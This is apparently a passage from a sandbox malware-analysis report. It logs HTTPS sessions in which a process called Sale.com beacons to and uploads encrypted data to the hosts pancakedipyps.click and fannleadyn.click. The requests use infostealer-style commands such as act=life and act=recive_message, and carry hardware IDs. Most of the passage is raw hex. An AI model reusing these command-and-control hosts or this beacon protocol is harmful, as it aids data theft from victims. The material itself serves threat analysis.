0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --T8OXZACYOVRSYBPP4Content-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--T8OXZACYOVRSYBPP4Content-Disposition: form-data; name="pid"1--T8OXZACYOVRSYBPP4Content-Disposition: form-data; name="lid"FATE99--test--
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: 61 65 92 25 11 d3 87 99 92 3c a1 fb 63 9f e6 8b f7 b2 1b dc e0 6f 41 e3 29 d3 6d b1 e4 5b a3 5e 8b 36 c3 64 3b cd 6e 72 eb ee 71 38 bd 7d b1 6b 83 82 8a 04 41 a8 f0 12 ac 66 63 76 86 f6 c2 d7 23 5c cd 38 33 fc 02 c9 5d 1f ea 53 9d 01 07 a1 2c 32 74 f3 83 14 fd 60 dc ac 45 5a b4 16 4d 69 71 b7 dd 87 ad 29 3f df f8 f2 4e c9 b4 26 03 aa 9e 1e 34 ba ad d2 19 29 3d 7f d1 ea d3 13 ca e6 db 05 93 88 63 d1 f7 67 f6 b4 e9 43 e8 39 f2 2b 6d a8 ba c5 35 01 f2 40 49 2f 50 2b 10 d4 ae 3d 0d 3d 92 00 3b 74 78 f2 f4 dd cf e3 71 cf ee 85 75 ff c5 d4 90 ae 01 36 7f aa ef 18 f3 bd ba 36 1f 44 7f 4d 3e 79 fb 34 57 d3 40 57 9d 42 7f ef ae f4 99 96 33 44 81 34 3b 2c 10 64 f1 33 8a 30 ac 9d a7 c5 d6 a3 ce ff 72 dd f3 d7 3f 5b a2 d1 b0 18 3f 44 bf 35 f8 90 59 20 c9 a8 6c 33 9e Data Ascii: ae%<coA)m[^6d;nrq8}kAfcv#\83]S,2t`EZMiq)?N&4)=cgC9+m5@I/P+==;txqu66DM>y4W@WB3D4;,d30r?[?D5Y l3
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: a0 ab f8 c1 30 3e 21 75 50 56 ba c1 6d 58 90 ef a9 56 3c 94 81 20 ce f2 94 2d 39 19 be ef 30 3f a6 83 1b c8 2d ae c1 f4 48 60 bf 8b 48 db c7 f2 4f ac fd 26 a4 01 22 3a 1a 05 cf ac 97 0a 11 c9 db 37 1e 62 17 77 9f ea 66 b6 0d 21 3b ef 49 7b f3 6d d3 b7 5d 21 6c a2 04 78 7c 37 d0 c8 16 d5 74 9d 04 9b c5 0a 99 d5 15 b6 9b 36 19 ab a3 46 0d 8e eb c5 1a bf b8 c3 1c f9 5d 68 18 36 7f a0 92 62 b7 1b 41 55 c6 49 ab f2 7c 9f cd 31 d6 6c de 99 73 33 f5 13 36 61 65 05 ff 7a 68 39 f4 df 9b ae a7 11 e1 09 08 e2 4c e1 16 65 c2 e2 34 83 e2 82 f2 af 39 82 be 75 14 00 c5 d5 af 93 83 31 aa 85 27 47 9d 67 d8 57 c8 81 30 c5 bb 67 f7 82 6e 5e e1 5d 0f 1d cf 37 fc 62 4e 4e 95 5a 18 96 53 e8 da c5 ca 3b f3 fd 02 e0 0c 85 fd 4a c9 14 c9 78 9b 57 54 08 dd 34 89 b5 78 35 e2 21 95 Data Ascii: 0>!uPVmXV< -90?-H`HO&":7bwf!;I{m]!lx\|7t6F]h6bAUI\|1ls36aezh9Le49u1'GgW0gn^]7bNNZS;JxWT4x5!
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: e7 9c 6d c0 0f c9 67 56 a3 ee c2 bd 53 33 ce 84 f1 7a 17 83 52 80 4a 2f 7a 88 b6 e6 dc 39 be 94 74 91 c4 93 82 64 42 67 bc e4 3c d8 9f 67 14 6c 01 5d fe 94 42 5c f9 e8 6f a3 87 e3 1b dd cf ab 36 fe 29 7f 6a fa 5e 19 8c 52 77 bc 84 79 5e db c3 55 35 b1 be 74 d1 ca 83 b4 4b a6 69 db 74 f8 75 ed 4c 6d 22 0c de 3e 75 b4 bc f1 ce 96 07 86 2a 08 d0 31 c2 2c 5a d9 be 6d f4 eb 31 bb 86 13 ec a7 ff 6a 5c 9a 84 63 34 73 b4 74 ee 89 70 22 0e d3 77 82 5c 6e 38 0c f5 2d 7d 12 6e e4 2d d8 fa 23 f3 30 34 5e 3d 75 9e a6 de 24 dc 83 b6 25 f8 f4 20 79 8a 5e 51 17 0a a2 5f 2a f4 4c c8 62 cb 0e 50 7f 3c ce a3 15 6a 03 bb 95 f1 65 b7 37 b5 d8 2f 7b 41 91 c1 d5 47 1d 83 85 bb b9 ce 82 90 57 fa 60 a1 73 fb 2d 44 18 a0 ae 8c 2b d2 74 5c fe 2b 16 89 45 6a b0 6e c8 5b 07 e7 9f 1d Data Ascii: mgVS3zRJ/z9tdBg<gl]B\o6)j^Rwy^U5tKituLm">u1,Zm1j\c4stp"w\n8-}n-#04^=u$% y^Q_LbP<je7/{AGW`s-D+t\+Ejn[
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: 0b e8 d9 43 84 ea b4 30 da b8 d1 73 88 2e 0d 1d b8 c5 16 40 80 eb 2b 49 40 a3 13 c8 c2 72 f8 e4 10 02 4d 96 07 45 dd 19 15 b7 e3 75 90 cb 7d d5 d5 45 7d 8a a8 c5 a2 32 5d f5 35 8f 26 23 d3 5d 96 45 d4 c5 27 53 80 1f 22 25 86 f4 dc c2 96 73 30 d3 94 dd 60 b4 3c 94 34 3d 73 7a dc 39 1b 92 b4 90 90 39 a1 80 3f 5c da 20 a9 a1 c8 88 d9 b9 26 9b 4c 8f 4f 3f d1 1f 54 ae 83 d7 e2 82 04 63 ed 6d 4c 32 e6 dc 72 34 e4 42 c3 03 a6 10 67 34 c5 8f d9 58 da 59 2a eb 71 26 04 a4 ba 61 70 a4 32 da e4 c1 fa 59 42 ae 31 a9 bf cf c3 ff 13 72 6f 32 9e d8 ea 90 0a d1 17 69 4b 0a 1a 6d 16 44 bd 44 16 99 a1 24 77 31 3a 4a f3 e1 2a 28 4e 26 1d ae 0f 12 03 4b b2 71 c4 28 6f 00 71 44 79 85 67 bc c6 f0 2f e3 48 e6 41 ef 5b 3c ca 39 c2 92 a5 ed 16 fe 3c 4b 13 98 97 d1 f1 70 cb 4c 21 Data Ascii: C0s.@+I@rMEu}E}2]5&#]E'S"%s0`<4=sz99?\ &LO?TcmL2r4Bg4XYq&ap2YB1ro2iKmDD$w1:J(N&Kq(oqDyg/HA[<9<KpL!
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: fc b5 67 17 49 95 4b 78 96 4c 5f e0 74 26 ca 32 21 2c 5d dd 77 20 b3 52 e8 d7 ba fc 85 4d 65 11 25 fb 1f dc 3e 63 bc 4e c0 36 88 91 27 f0 c3 a5 d6 d6 33 d3 77 8c f5 7a e3 d2 05 6c 1f cc 97 5b 96 19 5c 3b d8 ae 43 1d 52 83 d5 9f f9 b5 4f d9 e1 32 b5 89 9f 1f 4b f9 ce bc 16 3d 22 4a 52 c0 5e d3 13 48 9e 55 17 41 db 60 37 cb 29 5c b8 53 94 2c 86 f3 c1 0a 31 9e 54 72 16 3d 9a ae 37 1a 7a 25 50 d3 3b d8 4f 6b 66 56 ff ea f8 46 92 bb c9 c0 26 35 3b 81 a4 50 d3 44 4a be 53 45 92 87 5f 76 92 5c 62 b9 49 9c 7a f9 57 1b 12 13 9c 91 51 e8 58 a0 0a e2 42 53 d5 41 bd 81 60 52 16 cc 7e 22 80 f8 7b 1f 4e 13 c8 e4 4a 70 47 81 8a b0 bf 55 7b e4 cd ba 8b a1 50 3a 60 3c 13 ab 87 18 b9 7e c0 65 5b ec 03 ad ae 6e 88 a2 4b da 25 bf 94 f0 cf f6 2d 2a 34 39 21 e6 87 25 d5 19 89 Data Ascii: gIKxL_t&2!,]w RMe%>cN6'3wzl[\;CRO2K="JR^HUA`7)\S,1Tr=7z%P;OkfVF&5;PDJSE_v\bIzWQXBSA`R~"{NJpGU{P:`<~e[nK%-*49!%
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: 67 2c 51 24 63 2e 1e 9a fa 46 d2 e6 e1 bf 0b 97 30 9c 7c c0 7c ba 36 e3 f3 d5 76 c8 be c5 27 a7 56 ab 81 d6 1b f4 62 c0 f9 6c 4c 66 43 cc 4e 43 1e ea 5b ad b8 ef a9 18 e1 39 6b 90 b6 12 95 53 58 82 59 78 52 09 d9 04 21 61 f2 1b 84 ae 3e 80 f2 2e 92 43 c0 7c 4f 99 e0 1d 64 bc af 5f 17 b3 86 f8 b5 a1 3a 25 dc 36 8e 68 9d 79 86 ac c2 eb 87 65 82 1f 4b 76 f8 bc 23 14 98 54 22 40 a1 b6 61 d5 55 1b d5 dd a3 c6 97 7f 56 d0 34 e4 29 11 24 e3 e5 13 a6 73 91 7d 56 7b 76 98 87 bd d9 d4 fe 42 c2 6d 2a 3e c8 c3 5b 72 f9 1d b0 ed 8e 55 9c f9 65 fc b6 12 63 80 12 4b c2 e1 88 2c e5 54 7f cc 8b 4d 4e 5f 8d f1 58 33 b2 5e f7 9a 9f 8f 60 cc 20 23 a6 0b 75 ab 19 84 21 18 1d 7b cb 15 d4 45 64 8c 06 22 31 e5 0c 7e b5 6d 29 51 f3 74 55 9a 35 c9 0c dd 72 37 32 4b 6c 6b 86 6a 92 Data Ascii: g,Q$c.F0\|\|6v'VblLfCNC[9kSXYxR!a>.C\|Od_:%6hyeKv#T"@aUV4)$s}V{vBm*>[rUecK,TMN_X3^` #u!{Ed"1~m)QtU5r72Klkj
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: c9 6e 77 69 ec db 9a f1 58 6d e5 88 2d c2 00 6f 74 7b 1d 0d bf dc 1a 31 82 ba d7 8b 02 3b 89 14 ed 45 a4 fb 36 70 ef c9 25 90 03 6b a3 f9 eb 10 3c 4d a4 88 ac 7f db 0e 1c 48 21 16 9d 7f 9a 31 bd c5 c1 9e 3a 58 13 9b fa 27 70 90 41 5f cf 96 6e 9f 44 83 fd 42 4e 68 d0 7b 04 b6 03 b6 43 83 49 1f 50 b9 d2 d8 b3 5f 68 3f 86 dc 9d c3 a7 db 25 c0 35 6e f2 36 ee 53 ff 1a a4 8b 08 c2 ae 95 22 0a 8d 1c 23 23 79 5e fb b0 6a 4c b7 7a 12 ab 79 1c b5 9d 19 77 59 15 02 88 86 78 8a 0a 31 ed 96 06 42 18 24 e1 6c 55 9f 67 a0 e5 45 c8 00 51 54 3b 1b 8b 4b 52 90 2a 3d 0a 72 24 04 c6 b1 21 27 11 d6 be 7b bd d2 56 fe 2f 75 a9 67 76 b6 fd e1 22 c0 84 f9 37 67 42 be dd 81 fa 83 4b 36 6e 5e bd 71 c6 ae d0 7f e3 b5 45 0b 69 ef e2 c6 04 a6 6f f8 e5 3e 96 3c 5e 02 08 be f7 1e 4a 4d Data Ascii: nwiXm-ot{1;E6p%k<MH!1:X'pA_nDBNh{CIP_h?%5n6S"##y^jLzywYx1B$lUgEQT;KR*=r$!'{V/ugv"7gBK6n^qEio><^JM
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: 52 c5 3d b6 8a 90 ef 7e 4f 52 ac b4 9c 37 f9 15 8a b5 bd fe d1 b5 de 3f b5 b9 27 ab 6b 10 c8 8b b2 c7 44 da f7 e3 64 9e 11 7a 22 84 79 f2 e2 af 90 38 a6 e4 9c c0 b7 6e 49 c4 25 49 30 87 c0 70 d7 bf d6 73 c9 1b df 9a cf 65 a6 45 18 03 43 84 99 71 56 13 f9 51 10 6e 6a c8 69 28 53 7b b5 eb d7 28 4f 77 c9 44 44 74 be c9 ab 6f 2e 51 93 09 c3 d2 f9 ef dc bf 15 a1 b1 51 2c a9 17 40 34 de 38 c5 b7 d9 72 48 e1 7a 65 51 8d 89 4c 67 48 65 7d b3 fc ff 1e f0 13 40 8a b6 e0 4d 7b b1 2c 44 4e af bb e5 86 21 92 e9 73 24 e2 a3 2a 98 b2 df ea c6 7c 03 c0 19 59 94 e5 db 9b b6 d4 62 24 cd a6 a8 c3 6b d9 ca c3 e3 c7 53 bc d0 ba e3 1d 10 91 fc c4 fc be f5 41 59 e2 0d 97 2d 33 0f 61 d6 11 ed c3 f2 f2 ca 74 11 a0 ad 22 30 99 84 40 79 e0 ff 04 d8 00 49 84 26 f8 20 c1 54 07 06 7e Data Ascii: R=~OR7?'kDdz"y8nI%I0pseECqVQnji(S{(OwDDto.QQ,@48rHzeQLgHe}@M{,DN!s$*\|Yb$kSAY-3at"0@yI& T~
2024-12-23 16:18:46 UTC	15331	OUT	Data Raw: 32 96 59 73 d1 d5 78 ec 1f 87 1d fa e9 23 67 d4 0e d3 26 5f 8e dd b8 f1 a7 09 09 0f 92 14 00 f3 2c d6 a0 1b 14 fa 74 e8 7a eb f9 5d 71 ec 37 40 f8 7b 57 30 0b 8e d4 7d eb 14 06 af 9c e8 22 bc 6b 12 33 3f d4 53 69 51 34 11 60 07 4b 02 1c 25 89 da 52 c3 f8 4b 8a 98 98 6f ea cf 3f 92 b4 8b 6d 78 88 7f 9a ca 31 9b e0 d5 de 6f 62 22 d6 f5 94 e9 45 36 d7 cd c9 4a 6f 9f 1b e9 40 60 f2 95 74 14 c0 75 fa cf f6 fc ed 51 08 85 54 ec e4 66 8d 24 4e a2 a2 45 80 9e cd 31 ac c1 d2 38 a6 02 80 22 37 c1 ae 4e 4a 60 0a 91 d3 c9 8c 31 9e ee 5c 22 48 62 26 12 71 88 b9 48 45 5c 08 f5 85 6e 12 11 97 4f 32 5c 27 a2 61 5c e7 1e a6 c0 e3 57 19 50 0e 88 49 5c 4d 50 9a ce ec d8 c7 fe dc a0 fd 42 17 72 14 41 a8 4a 88 ed 01 79 d6 dc 64 5d de 87 d5 5a b9 db d8 b9 22 d0 52 17 3a ce cd Data Ascii: 2Ysx#g&_,tz]q7@{W0}"k3?SiQ4`K%RKo?mx1ob"E6Jo@`tuQTf$NE18"7NJ`1\"Hb&qHE\nO2\'a\WPI\MPBrAJyd]Z"R:
2024-12-23 16:18:51 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=chipdukrokas4hqi6qash6m78l; expires=Fri, 18 Apr 2025 10:05:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o9ukzN8vUs7N1ohRqYFvWrUQ%2FglhQfmWMiyVEg3x%2FFOyh185e71fIl%2BWS1nt61y3FMJlNcbr9tZh%2B13PpI3GW0ECgOrdhFHBK2l4HwFEs30B%2Bma2MStcQEyoq3C%2BWPiH8n6J8AUR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ab628d8643fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2183&min_rtt=2183&rtt_var=1091&sent=322&recv=610&lost=0&retrans=1&sent_bytes=4238&recv_bytes=589831&delivery_rate=123949&cwnd=149&unsent_bytes=0&cid=4e20d749e0d680f7&ts=4858&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49882	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:52 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-23 16:18:52 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=EBB0969B53AB2898AC8923850305D13E
2024-12-23 16:18:53 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pant1k386d69efkfsqiub34jh2; expires=Fri, 18 Apr 2025 10:05:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w8QHdu%2BRo%2BD6ZFn6B14aARedkWATlJkuLkcC3Vz3e0AbJkn1Mjsk9d9G1wNE1ydqsr1srQKQUwRWbhDk1iC5QmmXMrq0NNw8ASCfpCZFVsenh49HgoN8AhAL08cvJnRcm1aPSCTF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ab88aec38c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1987&rtt_var=755&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=984&delivery_rate=1439132&cwnd=248&unsent_bytes=0&cid=66b45d1cd8af17fc&ts=1112&x=0"
2024-12-23 16:18:53 UTC	54	IN	Data Raw: 33 30 0d 0a 2b 35 52 67 4f 59 4b 44 36 70 53 67 61 68 4b 59 48 69 4c 59 4b 45 48 53 4d 6c 4e 76 36 75 6c 33 68 36 30 65 53 4d 41 65 6f 75 75 67 79 51 3d 3d 0d 0a Data Ascii: 30+5RgOYKD6pSgahKYHiLYKEHSMlNv6ul3h60eSMAeouugyQ==
2024-12-23 16:18:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49907	104.21.63.229	443	5860	C:\Users\user\AppData\Local\Temp\370821\Sale.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:19:01 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fannleadyn.click
2024-12-23 16:19:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 16:19:02 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ken4i852im3sj0g2vqj0m48oto; expires=Fri, 18 Apr 2025 10:05:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YQdP3izLMmxO32i0GukGblATLk%2F5NMAt5cHlNx7MpPbpf3ocLVBYbodMoNAbe9bxNq0u21HrjS2eg9J7VEAH30Sygo%2BPT1kC5wZSUSTgSb%2B45gz6lHHEOSVqvVKTlx8cSqwu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69abbea853421c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1694&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1659090&cwnd=252&unsent_bytes=0&cid=17cdb80a6cac0ba4&ts=808&x=0"
2024-12-23 16:19:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 16:19:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49914	104.21.63.229	443	5860	C:\Users\user\AppData\Local\Temp\370821\Sale.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:19:03 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 76 Host: fannleadyn.click
2024-12-23 16:19:03 UTC	76	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 6c 33 26 6a 3d 35 66 38 33 61 37 35 66 62 37 30 33 33 31 32 39 64 65 34 35 62 34 30 33 32 38 35 61 36 37 32 33 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--l3&j=5f83a75fb7033129de45b403285a6723
2024-12-23 16:19:04 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bijbmtub75ekqvr3mu14p7lnnv; expires=Fri, 18 Apr 2025 10:05:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OBn8M3Pa%2F2hnDWNkvFXbpaVV4pppkAnJfONvL9upiq2eCL9JCbaK3xt4QL6kTf5Q5FULy6zuw91UPxJ838HVUBoe8ktR5nzKXxu7%2FC9ydLiVkmS%2BDyYDM9e9HahZ%2FcSnWnil"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69abcbaf4f8c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2030&min_rtt=2025&rtt_var=771&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=976&delivery_rate=1409266&cwnd=201&unsent_bytes=0&cid=a928b7918ef51c94&ts=913&x=0"
2024-12-23 16:19:04 UTC	246	IN	Data Raw: 34 36 33 0d 0a 46 61 50 55 4c 42 55 62 6f 70 38 79 6b 39 47 68 2b 32 51 48 38 2f 46 65 35 30 61 68 77 63 51 73 32 66 65 63 41 62 31 43 6f 5a 31 75 67 61 49 4f 4c 79 2b 4f 76 55 48 32 38 35 75 50 46 6e 4b 57 33 58 79 47 49 6f 50 37 6f 6b 32 31 68 50 6b 74 6e 7a 54 4d 76 79 2f 46 74 55 42 6d 66 6f 36 39 56 2b 76 7a 6d 36 41 66 4a 5a 61 66 66 4e 31 6b 78 4b 75 6d 54 62 57 56 2f 57 72 53 4d 73 33 2b 66 63 2b 7a 52 48 42 34 78 76 35 65 2f 72 54 45 6e 67 56 74 6e 5a 67 7a 6a 79 75 44 37 65 5a 4a 6f 39 57 6d 49 2f 41 6e 31 66 78 59 77 71 64 48 4e 32 61 4f 35 42 44 32 76 34 50 42 52 6d 61 57 6b 7a 4b 42 49 73 71 70 72 45 53 39 6c 50 68 72 7a 53 76 48 39 58 33 42 73 45 56 36 63 64 4c 7a 56 50 6d 2f 77 70 51 46 4a 64 2f 54 4f 35 31 6b 6d Data Ascii: 463FaPULBUbop8yk9Gh+2QH8/Fe50ahwcQs2fecAb1CoZ1ugaIOLy+OvUH285uPFnKW3XyGIoP7ok21hPktnzTMvy/FtUBmfo69V+vzm6AfJZaffN1kxKumTbWV/WrSMs3+fc+zRHB4xv5e/rTEngVtnZgzjyuD7eZJo9WmI/An1fxYwqdHN2aO5BD2v4PBRmaWkzKBIsqprES9lPhrzSvH9X3BsEV6cdLzVPm/wpQFJd/TO51km
2024-12-23 16:19:04 UTC	884	IN	Data Raw: 2b 50 31 66 4c 69 45 37 33 62 53 4d 4d 57 2f 61 49 2b 76 44 6e 42 31 67 4b 55 51 2b 62 2f 4e 6e 41 56 71 6c 70 49 38 6c 79 76 44 6f 4b 35 47 76 35 2f 78 62 4e 41 75 79 66 68 2f 79 4c 46 42 63 48 48 47 38 6c 4f 78 2f 59 4f 65 48 69 58 4a 30 78 79 56 4a 38 43 33 71 31 2f 37 69 72 42 36 6e 79 66 50 76 79 2b 42 73 45 42 32 64 4d 44 76 57 50 71 34 78 6f 73 4e 62 4a 79 65 50 49 67 75 7a 4b 43 6d 53 62 47 66 38 57 6e 62 4c 63 37 35 64 38 48 32 41 44 64 2b 32 4c 30 49 73 5a 44 47 69 51 46 70 68 39 45 47 78 54 75 4e 75 75 5a 4a 74 39 57 6d 49 39 63 6c 77 50 78 38 7a 72 56 47 66 47 76 41 37 31 62 38 74 74 47 66 41 32 75 62 6b 43 36 50 4b 73 57 67 72 30 57 79 6b 50 6c 6e 6e 32 36 44 2b 47 2b 42 37 67 35 57 64 4d 76 78 57 75 61 7a 67 34 5a 49 66 4e 47 55 4d 4d 56 38 Data Ascii: +P1fLiE73bSMMW/aI+vDnB1gKUQ+b/NnAVqlpI8lyvDoK5Gv5/xbNAuyfh/yLFBcHHG8lOx/YOeHiXJ0xyVJ8C3q1/7irB6nyfPvy+BsEB2dMDvWPq4xosNbJyePIguzKCmSbGf8WnbLc75d8H2ADd+2L0IsZDGiQFph9EGxTuNuuZJt9WmI9clwPx8zrVGfGvA71b8ttGfA2ubkC6PKsWgr0WykPlnn26D+G+B7g5WdMvxWuazg4ZIfNGUMMV8
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 34 61 66 33 0d 0a 34 31 5a 34 57 55 4a 4b 64 4d 6f 49 79 67 37 7a 6f 56 2f 75 53 38 69 4f 48 59 4d 7a 77 65 4d 6d 32 54 33 4e 30 78 50 78 64 2f 62 72 41 6c 51 70 74 6e 4a 38 34 69 69 7a 4c 6f 4b 35 63 74 5a 76 34 5a 64 38 6c 67 37 45 33 78 71 34 4f 4c 7a 6e 6b 38 30 66 6c 75 49 47 73 42 57 75 66 6c 43 72 46 4f 34 32 36 35 6b 6d 33 31 61 59 6a 30 53 33 49 38 33 44 49 74 30 31 33 63 38 37 79 57 76 6d 37 77 35 51 48 62 70 6d 56 4d 59 34 72 7a 4b 53 75 54 62 65 51 38 32 43 66 62 6f 50 34 62 34 48 75 44 6c 4a 33 77 2b 78 42 73 34 62 41 6c 77 68 69 68 39 4d 6a 79 7a 32 44 70 4b 6f 4f 34 39 58 30 5a 4e 67 6b 7a 76 56 30 78 62 4a 44 65 48 44 4a 39 45 4c 37 76 38 32 4c 43 32 2b 55 6e 54 43 41 4b 38 4f 69 70 30 43 78 6e 72 34 74 6e 79 66 62 76 79 2b 42 6d 55 4e 6e Data Ascii: 4af341Z4WUJKdMoIyg7zoV/uS8iOHYMzweMm2T3N0xPxd/brAlQptnJ84iizLoK5ctZv4Zd8lg7E3xq4OLznk80fluIGsBWuflCrFO4265km31aYj0S3I83DIt013c87yWvm7w5QHbpmVMY4rzKSuTbeQ82CfboP4b4HuDlJ3w+xBs4bAlwhih9Mjyz2DpKoO49X0ZNgkzvV0xbJDeHDJ9EL7v82LC2+UnTCAK8Oip0Cxnr4tnyfbvy+BmUNn
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 47 78 2f 59 4f 65 48 69 58 4a 30 78 4f 47 4d 73 6e 6a 75 51 43 69 31 66 6c 76 6e 33 69 44 39 58 76 46 74 55 4a 2b 64 63 33 38 56 50 61 2b 78 35 6b 41 59 35 53 53 4e 34 30 6f 7a 4b 6d 71 53 72 65 63 2b 47 2f 63 49 38 57 2f 4f 59 47 78 56 6a 63 68 67 4e 78 64 2b 72 2f 44 6d 68 64 69 30 64 31 38 69 79 4c 44 34 2f 35 59 71 34 4c 35 66 4a 45 35 67 2f 68 37 67 65 34 4f 66 57 76 46 38 31 54 37 74 73 65 56 44 47 57 55 67 54 53 44 49 38 2b 72 6f 30 47 39 6b 50 4e 6b 31 43 50 52 37 58 54 46 75 45 49 33 4e 34 44 36 53 4c 48 72 67 37 77 52 5a 6f 47 56 50 38 55 37 6a 62 72 6d 53 62 66 56 70 69 50 66 4c 73 2f 30 63 4d 71 39 53 6e 4e 35 7a 66 5a 65 2f 37 72 50 6b 51 70 69 67 35 34 35 6a 53 37 4b 70 71 70 44 75 49 66 39 59 70 39 75 67 2f 68 76 67 65 34 4f 55 45 72 33 33 Data Ascii: 